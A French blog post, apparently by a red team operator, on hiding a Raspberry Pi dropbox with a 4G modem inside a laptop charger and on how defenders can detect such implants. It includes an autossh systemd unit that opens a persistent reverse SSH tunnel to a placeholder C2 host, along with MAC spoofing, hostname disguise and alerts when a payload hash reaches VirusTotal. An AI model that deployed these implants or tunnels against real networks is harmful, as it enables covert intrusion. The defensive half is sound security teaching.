Intrusion Physique : Un chargeur d’ordinateur portable pas comme les autres !
Cet article s’appuie sur une ancienne présentation destinée à des collègues. L’objectif est double. Du point de vue Red Team, il s’agit de montrer comment fabriquer, configurer et dissimuler un implant physique (dropbox) à l’intérieur d’un chargeur d’ordinateur portable. Du point de vue Blue Team, il s’agit d’aborder les méthodes de détection de ce type d’implant.
Sommaire
English version here.
TL;DR
Cet article s'appuie sur une ancienne présentation que j'avais faite pour des collègues. L'idée de départ était de montrer comment fabriquer, configurer et dissimuler son implant physique (dropbox) dans un chargeur d’ordinateur portable. Je ressors cette présentation sous forme d’article, ici sous un angle plus utile pour la communauté, une partie Red Team et une partie Blue Team. Et comme toujours, tout ça n'a de sens que dans un cadre autorisé. Ce même article est l’occasion d’introduire un outil Rust que j’ai développé et que j’utilise régulièrement en mission Red Team pour envoyer des notifications aux opérateurs en cas d’obtention d’accès.
Mise en bouche
Un implant physique, qu'on appelle aussi parfois une « dropbox » ou une backdoor matérielle, c'est un équipement qu'un opérateur Red Team laisse sur place pendant un engagement pour conserver un accès distant au réseau cible. Rien de magique, c'est un équipement informatique discret (« discret ? », haha, pas tout le temps, vous comprendrez pourquoi je dis ça, plus bas dans cet article), posé ou branché quelque part, qui contacte l'opérateur une fois sous alimentation.
Dans un test d'intrusion physique autorisé, c'est un classique. Le client veut savoir ce qu'un attaquant motivé pourrait faire s'il parvenait à entrer dans ses locaux. Déposer un implant fait partie du scénario, au même titre que cloner un badge ou brancher un câble là où il ne faut pas.
Le point important, et c'est tout l'intérêt de cet article, c'est que ces objets sont conçus pour ne pas attirer l'œil. Donc si on sait à quoi ils ressemblent et comment ils se comportent, on sait aussi comment les chercher. C'est exactement le genre de sujet qui gagne à être traité des deux côtés, Red et Blue.
Petit rappel qui a son importance, tout ce qui suit s'inscrit dans des missions encadrées, avec une autorisation écrite et un périmètre défini. Poser un tel équipement sans autorisation, c'est illégal.
De l'évident à l'invisible
C'est le cœur du sujet, et c'est ce que je voulais surtout faire passer à mes collègues avec la présentation PowerPoint initiale. Un simple Raspberry sorti de sa boîte, c'est immédiatement suspect, une petite carte nue, des antennes qui dépassent, des câbles dans tous les sens et parfois une grosse batterie externe raccordée. Posé sur un bureau, n'importe qui tiquerait…
Petite anecdote, voici une des premières versions que j’ai eu l’occasion de déposer dans des locaux au cours d’une intrusion physique. Cette version a dû être conçue en très peu de temps et cela remonte à plusieurs années. Aujourd’hui, je prête davantage attention à la manière de dissimuler la dropbox.

Tout l'enjeu, côté opérateur, c'est de faire disparaître cet « énorme » implant physique. Et on ne le fait pas disparaître en rendant seulement l'implant plus petit, on le fait disparaître en le déguisant également en un objet que personne ne regarde jamais, et en voici quelques exemples :
- un bloc d'alimentation
- une multiprise
- un hub USB
- un clavier USB
- une souris USB
- ET pourquoi pas un chargeur d’ordinateur portable
Des objets qui traînent déjà par dizaines dans un open space et qui ne déclenchent aucune alerte visuellement.
Pour les opérateurs Red Team, je vous conseille d’affiner votre phase d’OSINT, un prestataire informatique identifié pour votre cible, ou encore une photo sur les réseaux sociaux de votre cible avec la marque des claviers ou des souris filaires ? C’est bingo !
Donc, la menace ne ressemble pas à une menace, elle ressemble à un objet informatique du quotidien. Pour vous le montrer, voici comment il est possible de dissimuler une dropbox dans un chargeur d'ordinateur portable.

Je vais vous présenter ci-dessous comment je suis arrivé à cette version.
Côté Red Team : un chargeur d’ordinateur portable pas comme les autres
Ce qu'il y a dedans
La recette générale est connue et tient en peu de choses. Tout d’abord, le contenant permettant de dissimuler la dropbox. Ici, j’ai décidé de partir d’un chargeur d’ordinateur portable qui sera désossé.

Pour la partie ordinateur miniature, j’ai décidé d’utiliser un Raspberry Pi Zero, assez petit pour se glisser dans mon chargeur d’ordinateur portable.

On lui donne une source d'alimentation et quoi de mieux qu’un chargeur USB premier prix démonté et soudé sur la prise du chargeur lui-même ?


On lui ajoute une interface réseau, ici je l’ai tout simplement fait ressortir comme étant l’embout du chargeur lui-même :

Cela permet, s’il est branché à une prise autorisée, d’obtenir un accès au LAN de la cible. Et je préfère y ajouter un modem cellulaire 4G et une antenne pour les attaques Wi-Fi. Ainsi cette version de ma dropbox est alimentée dès lorsque le chargeur est branché et il est possible d'obtenir un accès au LAN en branchant l'extrémité du port RJ45.

Le tout est logé dans le chargeur d’ordinateur portable vidé précédemment.

Schéma simplifié
Le schéma ci-dessous simplifie ce que j’ai présenté précédemment :



Comment il se comporte une fois alimenté
Trois propriétés définissent un bon implant, et ce sont aussi les trois choses que la Blue Team peut exploiter pour le repérer.
Démarrage automatique
D'abord, il démarre tout seul. Dès qu'il est alimenté, il boote et se met en route sans intervention. Pas de bouton, pas d'écran, rien. On le branche, il vit. Donc, vous pouvez y installer la version de Kali Linux spécifique à Raspberry Pi Zro W sur une carte SD, je vous recommande de mettre au minimum une carte SD de 32Go. www.kali.org/get-kali/
Communication C2 automatique
Ensuite, il contacte l'opérateur de lui-même. Plutôt que d'attendre qu'on vienne le contacter, ce qui supposerait d'ouvrir un accès entrant et serait bloqué par n'importe quel pare-feu, l'implant établit une connexion sortante vers le serveur de l'opérateur et y maintient un tunnel. C'est le principe du tunnel SSH inversé, ou remote port forwarding. La connexion part de l'intérieur vers l'extérieur, et l'opérateur l'emprunte en sens inverse pour atteindre l'implant. Ça traverse le NAT et la plupart des filtrages sortants, sans rien ouvrir côté cible.
Cela signifie qu'une fois l'OS installé et configuré correctement comme ci-dessous :
# Change default Keyboard input
dpkg-reconfigure keyboard-configuration
# Change user and root password
sudo passwd kali ; sudo passwd root
# Change hostname to some Windows 10 example
hostnamectl set-hostname DESKTOP-EIUFBZ43
# Update the system
apt-get update -y && apt-get upgrade -y
# Install some tools like responder, impacket, msfconsole, autossh, ssh, rusthound-ce ...
# Create private and pub key for SSH authentification on your laptop and add SSH pub key
echo ‘SSHPUBKEY’ >> /home/kali/.ssh/authorized_keys
# Change your SSH configuration to allow only authorized keys change delfault SSH port to 2222 for example and disallow root SSH authentification
Vous devez configurer votre service AutoSSH en démarrage automatique, voici un exemple simple :
vim /etc/systemd/system/autosshc2.service
[Unit]
Wants=network-online.target
After=network-online.target
Description=Easy Authssh
[Service]
Environment="AUTOSSH_GATETIME=0"
User=kali
WorkingDirectory=/home/kali
ExecStart=/usr/bin/autossh -M 0 -o "ExitOnForwardFailure=yes" -o "PubkeyAuthentication=yes" -o "PasswordAuthentication=no" -o "ServerAliveInterval 30" -o "ServerAliveCountMax 3" -i /home/kali/.ssh/id_rsa -NR 6666:localhost:22 <C2_USERNAME>@<C2_IP>
Restart=always
[Install]
WantedBy=multi-user.target
Ne pas oublier d'activer et de démarrer le service.
sudo systemctl enable autosshc2
sudo systemctl start autosshc2
Camouflage réseau
Enfin, il cherche à se fondre dans le décor. Côté configuration, l'implant est durci pour que seul l'opérateur puisse l'atteindre, et il s'habille pour ne pas détonner sur le réseau, un nom de machine qui ressemble à ceux du parc, une identité réseau qu'on peut faire varier en modifiant son adresse MAC, bref de quoi ne pas ressortir comme un intrus dans une liste d'équipements. C'est là-dessus que je reviendrai côté Blue Team, parce que ces camouflages ont tous leurs limites.
Pour cette partie, il est facile de réaliser un service sur le même schéma que le précédent pour exécuter la commande macchanger..
La variante 4G, et pourquoi elle change la donne
Dans la version de base, l'implant utilise le réseau filaire de la cible pour sortir. C'est simple, mais ça a un défaut pour l'opérateur, tout son trafic de C2 passe par le réseau du client, donc par ses sondes, ses logs, son filtrage.
La variante 4G change ça. On remplace la sortie filaire par un modem cellulaire avec sa propre carte SIM, le modem cellulaire peut donc être un modem USB qui sera branché sur votre Raspberry Pi Zero W. L'implant a alors son propre accès Internet, hors du réseau de la cible. Le tunnel vers le C2 part par la 4G, pas par le LAN surveillé. Pour l'opérateur, c'est un confort énorme et une bien meilleure discrétion réseau. Pour la Blue Team, c'est une vraie complication, parce que le canal de commande ne passe plus du tout par l'infrastructure qu'elle surveille.
Prévenir l'opérateur quand l'implant est vivant : dende-rs
Un implant qu'on dépose, c'est bien. Savoir à la seconde où il prend vie, c'est mieux. En mission, l'opérateur a besoin d'être notifié dès que l'implant est alimenté, connecté et que son tunnel est monté, sans avoir à surveiller un terminal en permanence.
À l'époque de la présentation, courant 2022, je gérais ça avec un petit script maison qui surveillait l'état du tunnel sur le C2 et envoyait un mail quand le motif attendu apparaissait. Ça marchait, mais c'était rustique.
Depuis, j'ai développé un outil en Rust, dende-rs
hehe, et oui c’est bien une référence à Dragon Ball
En une phrase, dende-rs surveille des logs ou des flux en temps réel, match chaque ligne sur une chaîne ou une regex, et pousse une alerte sur le canal de votre choix.
Posé sur le C2, on lui fait surveiller la sortie qui indique qu'un implant vient de se signaler, et il notifie l'équipe aussitôt.
Les canaux de notification aujourd'hui :
- la console
- Telegram (via un bot)
- SMS (via l'API Textbelt)
Le mail est dans la roadmap du projet, pas encore implémenté étant donné que je voulais principalement une notification par SMS ou par Telegram, mais la couche notifier est modulaire donc ajouter un canal (Slack, mail...) se fait sans toucher au cœur du code Rust ! Bonus qui parlera autant à la Blue Team qu’à la Red Team, dende-rs sait aussi interroger VirusTotal pour vous prévenir dès que le hash d'un payload est publié.
Et oui, dans le cas où votre payload est publié sur VirusTotal par un membre de la Blue Team, dende-rs est en mesure de vous alerter !
Il se pilote en ligne de commande pour une surveillance simple, ou via un fichier YAML pour faire tourner plusieurs jobs en parallèle. Un exemple de config, où l'on surveille un log et où l'on route l'alerte vers la console, Telegram et SMS :
# config.yaml
# Notifiers
telegram_token: "1234567890:FIXME-FIXME" # Telegram API token for you bot
textbelt_token: "token" # Textbelt API token for SMS
# fixme_token: "token"
# Applications
virustotal_token: "FIXME"
jobs:
# Job 1 (log-watcher)
- path: "/tmp/logs/apache2/" # Path of main folder where to search
search: "ERROR" # Using simple string to search
recursive: true # Recurse other folders inside the main folder
read_existing: false # Only read new files
only_message: false # Print all info in the notification
to: ["console:log"] # Only on console
# Job 2 (log-watcher)
- path: "/tmp/logs/ssh/" # Path of main folder where to search
regex: "^6666=.*" # Using simple string to search
recursive: true # Recurse other folders inside the main folder
read_existing: true # Only read new files
only_message: true # Print only the message in the notification
to: ["tg:FIXME", "sms:+33601020304"] # Telegram and SMS by textbelt API
# Job 3 (log-watcher)
- path: "/tmp/logs/nginx/access.log" # Or path of one file
regex: '^SUCCESS.*' # Using regex
to: ["console:log", "tg:FIXME", "sms:+33612345678"] # Console + Telegram + SMS
# Job 4 (virustotal-watcher) (Check if your payload will be publish on virustotal and notify you)
- hash: [
"61c0810a23580cf492a6ba4f7654566108331e7a4134c968c2d6a05261b2d8a1", # SHA-256 of your payload
"11e031526c1e5e177c9fac5be0a3d0383f74ab98399a01adebd42908a3a2fe20", # SHA-256 of your payload
]
to: ["console:log", "tg:FIXME"]
La syntaxe des destinataires est directe : console:log, tg:<CHAT_ID>, sms:+33.... Pour Telegram, le bot se crée via BotFather et chaque destinataire doit lui envoyer /start une fois, puisqu'un bot ne peut pas écrire en premier.
Pourquoi Rust, encore une fois ? Pour les mêmes raisons que mes autres outils : un binaire unique sans dépendances à traîner, qui tourne vite et se dépose n'importe où. Et pour une équipe, des notifications centralisées et multi-canal évitent qu'une remontée passe inaperçue parce que l'opérateur n'avait pas le bon onglet ouvert.
Le code est ici : github.com/g0h4n/dende-rs
Côté Blue Team : le détecter et s'en protéger
Bonne nouvelle pour les défenseurs, discret ne veut pas dire indétectable. Chacune des trois propriétés vues plus haut (démarrage, camouflage, communication) laisse des traces. Et comme souvent, la défense se joue sur plusieurs couches.
À l'échelle du réseau
La première ligne, c'est le contrôle de ce qui a le droit de se brancher. Un implant filaire doit bien se raccorder quelque part, et c'est là qu'on l'attend.
Le contrôle d'accès réseau (NAC - Network Access Control) avec 802.1X est la mesure la plus efficace, on authentifie les équipements avant de leur donner un accès, idéalement par certificat. Attention au piège classique, le simple filtrage par adresse MAC ne suffit pas, parce qu'une adresse MAC se falsifie trivialement, et les implants savent justement en changer. Il faut une vraie authentification, pas une liste d'adresses.
De plus, j’ai déjà eu l’occasion de contourner des « protections NAC », juste en volant une adresse MAC. Par exemple, en récupérant l’adresse MAC d’un boîtier de partage d’écran dans une salle de réunion pour obtenir un accès sur ma dropbox au cours d’une intrusion physique.
Ensuite, l'inventaire et la détection d'équipements inconnus. Un bon suivi des ports de switch, des OUI (pour Organizationally Unique Identifier, les préfixes constructeur des adresses MAC) et des nouveaux équipements qui apparaissent permet de lever une alerte quand un appareil non référencé se présente. Par exemple un Raspberry a un OUI reconnaissable, et un équipement qui surgit sur un port censé être inactif, c'est suspect.
Côté flux, surveillez les connexions sortantes persistantes et anormales. Un tunnel inversé, ça ressemble à une session longue durée vers une destination externe inhabituelle, qui se rétablit toute seule dès qu'elle tombe. Les sessions qui vivent des heures vers une IP inconnue, c'est exactement le genre de motif à faire remonter.
Et méfiez-vous du camouflage, un implant peut se présenter avec un nom de machine qui imite vos postes Windows. Ne vous fiez donc jamais au seul hostname. Croisez avec le reste, le type d'équipement réellement observé, l'OUI, le comportement réseau. Un « poste Windows » qui n'a ni le trafic, ni l'empreinte d'un vrai poste Windows, ça doit vous interpeller.
Le cas 4G, plus coriace
Si l'implant utilise un canal cellulaire, tout ce qui précède côté réseau devient aveugle, le C2 ne passe tout simplement plus par votre infrastructure. Vos sondes ne verront rien, parce qu'il n'y a rien à voir chez vous.
La défense se déplace alors vers le physique et l'organisationnel. C'est moins « sexy » que de la détection réseau, mais c'est là que ça se joue, contrôle des accès physiques, inspection des locaux techniques, et une vigilance particulière sur les équipements anormaux. L'idée générale, c’est que si l'attaquant contourne votre réseau, c'est sur le terrain qu'il faut le retrouver.
Mais en quoi c’est utile, pour un opérateur Red Team, d’avoir un accès 4G et pas d’accès par câble réseau ? Tout simplement pour utiliser la carte Wi-Fi afin de réaliser des attaques et des scans.
À l'échelle physique et humaine
C'est la couche qu'on néglige le plus, et c'est souvent la plus payante contre ce genre de menace.
L'hygiène physique d'abord, désactiver les ports réseau inutilisés, verrouiller les locaux techniques et les salles de brassage, étiqueter et inventorier le matériel sans exposer les adresses IP et adresses MAC des équipements, et poser des scellés inviolables sur les équipements sensibles pour repérer toute ouverture.
L'inspection, ensuite, sur un rythme régulier mais aussi après toute visite, intervention ou prestation externe. On regarde ce qui est branché, derrière les bureaux, dans les baies, sous les tables. Un objet du quotidien qui apparaît sans raison, un câble en trop, un chargeur « oublié » par quelqu'un, c'est précisément ce qu'il faut questionner.
Enfin, la sensibilisation. La règle à faire passer aux équipes est simple, on ne branche pas un équipement dont on ne connaît pas l'origine, et un matériel trouvé ou reçu sans raison claire, on ne l'adopte pas, on le signale.
En résumé
Un implant physique (dropbox), c'est un petit ordinateur discret qui démarre tout seul, qui contacte son opérateur par le biais d’un tunnel sortant, et se fond dans le décor, éventuellement en sortant par la 4G pour éviter le réseau surveillé. Côté Red Team, c'est un outil d'engagement légitime quand le cadre est posé. Côté Blue Team, chacune de ces propriétés a sa contre-mesure, du NAC sérieux par certificat plutôt qu'un filtrage MAC, de la détection d'équipements et de flux anormaux, et surtout une vraie hygiène physique. Les deux lectures se complètent, et c'est en les connaissant toutes les deux qu'on défend le mieux.
MITRE ATT&CK
Pour raccrocher l’article à la matrice, voici les TTP qui collent à ce scénario. La première est le cœur du sujet (l'ajout de matériel), les autres décrivent le canal de commande.
| Tactique | ID | Technique | Dans ce scénario |
|---|---|---|---|
| Initial Access | T1200 | Hardware Additions | Introduire l'implant physique sur le réseau ou dans les locaux de la cible |
| Command and Control | T1572 | Protocol Tunneling | Le tunnel SSH inversé qui ramène l'opérateur jusqu'à l'implant |
| Command and Control | T1571 | Non-Standard Port | SSH exposé sur un port non standard pour rester discret |
| Persistence / Initial Access | T1133 | External Remote Services | Un accès distant maintenu dans la durée via la connexion sortante |
Un dernier mot
Si vous aimez ce format, n'hésitez pas à me le faire savoir. Je pensais aussi transformer mes présentations de RETEX de missions Red Team en articles de blog, du coup votre avis m'intéresse, dites-moi si ça peut vous intéresser !